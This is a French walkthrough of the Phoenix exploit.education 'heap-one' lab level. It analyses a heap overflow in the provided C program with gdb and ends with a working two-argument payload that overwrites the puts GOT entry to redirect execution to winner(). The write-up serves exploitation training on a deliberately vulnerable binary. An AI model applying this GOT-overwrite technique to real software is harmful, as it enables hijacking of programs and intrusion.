Phoenix exploit education heap-one
Heap one
Second exercice heap de la suite Phoenix exploit education. Débordement de mémoire et falsification d’adresse.
Le source
/*
* phoenix/heap-zero, by https://exploit.education
*
* Can you hijack flow control?
*
* Which vegetable did Noah leave off the Ark?
* Leeks
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define BANNER \
"Welcome to " LEVELNAME ", brought to you by https://exploit.education"
struct heapStructure {
int priority;
char *name;
};
int main(int argc, char **argv) {
struct heapStructure *i1, *i2;
i1 = malloc(sizeof(struct heapStructure));
i1->priority = 1;
i1->name = malloc(8);
i2 = malloc(sizeof(struct heapStructure));
i2->priority = 2;
i2->name = malloc(8);
strcpy(i1->name, argv[1]);
strcpy(i2->name, argv[2]);
printf("and that's a wrap folks!\n");
}
void winner() {
printf(
"Congratulations, you've completed this level @ %ld seconds past the "
"Epoch\n",
time(NULL));
}
Analyse des allocations mémoire.
Le programme alloue deux blocs mémoire par structure. Un pour la structure elle même puis un pour name. On a donc
[heapstructure1][name1] [heapstructure2][name2]
avec Plus précisément
chunk1 |chunk2 |chunk3 |chunk4
[hdr1][p1][@name1]|[hdr2][name1]|[hdr3][p2][@name2]|[hdr4][name2]
Premier strcpy : strcpy(i1->name, argv[1]);
Un débordement de name1 peut écraser hdr3 puis p2 puis @name2
[hdr1][p1][@name1]|[hdr2][name1]|[hdr3][p2][@name2]|[hdr4][name2]
Le second strcpy : strcpy(i2->name, argv[2]);
Copie le second argument à l’adresse indiquée dans i2->name
On peut par exemple écrire l’adresse de winner dans l’entrée de la GOT dédiée à printf.
[hdr1][p1][@name1]|[hdr2][name1]|[xxxx][xxxx][got.printf]|[hdr4][name2]
argv1 : [name1[8]][12 octets pour ecraser hdr3 et p2][@got.puts]
argv2 : adresse de winner
Adresse de winner
(gdb) p winner
$1 = {<text variable, no debug info>} 0x804889a <winner>
Recherche de l’adresse de puts dans la GOT :
0x0804887e <+169>: push $0x804ab70
0x08048883 <+174>: call 0x80485b0 <puts@plt>
0x08048888 <+179>: add $0x10,%esp
0x0804888b <+182>: mov $0x0,%eax
Le compilateur a remplacé de le printf par un puts. Bon bien va pour puts.
(gdb) x/2i 0x80485b0
0x80485b0 <puts@plt>: jmp *0x804c140
0x80485b6 <puts@plt+6>: push $0x28
(gdb) x/1xw 0x804c140
0x804c140 <puts@got.plt>: 0x080485b6
L’adresse de l’entrée puts est 0x804c140
Observation mémoire
(gdb) r AAAAAAAA BBBBBBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /opt/phoenix/i486/heap-one AAAAAAAA BBBBBBBB
Breakpoint 1, 0x080487f3 in main ()
(gdb) i r eax
eax 0xf7e69008 -135884792
(gdb) x/20xw 0xf7e69008
0xf7e69008: 0x00000000 0x00000000 0x00000000 0x000ffff1
0xf7e69018: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69028: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69038: 0x00000000 0x00000000 0x00000000 0x00000000
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) c
Continuing.
Breakpoint 2, 0x08048878 in main ()
(gdb) x/20xw 0xf7e69008
0xf7e69008: 0x00000001 0xf7e69018 0x00000000 0x00000011
p1 @name1 header chunk 2
0xf7e69018: 0x41414141 0x41414141 0x00000000 0x00000011
name1 header chunk 3
0xf7e69028: 0x00000002 0xf7e69038 0x00000000 0x00000011
p2 @name2 header chunk 4
0xf7e69038: 0x42424242 0x42424242 0x00000000 0x000fffc1
name2
0xf7e69048: 0x00000000 0x00000000 0x00000000 0x00000000
On voit ici que name1 en débordant écrase hdr3[8] | p2[4] | @name2
.
On a donc 8+8+4= 20 octets à envoyer avant l’adresse de got.puts.
arg1 : $(printf "%020d\x40\xc1\x04\x08" 0)
arg2 : $(printf "\x9a\x88\x04\x08")
user@phoenix-amd64:~$ /opt/phoenix/i486/heap-one $(printf "%020d\x40\xc1\x04\x08" 0) $(printf "\x9a\x88\x04\x08")
Congratulations, you've completed this level @ 1587829766 seconds past the Epoch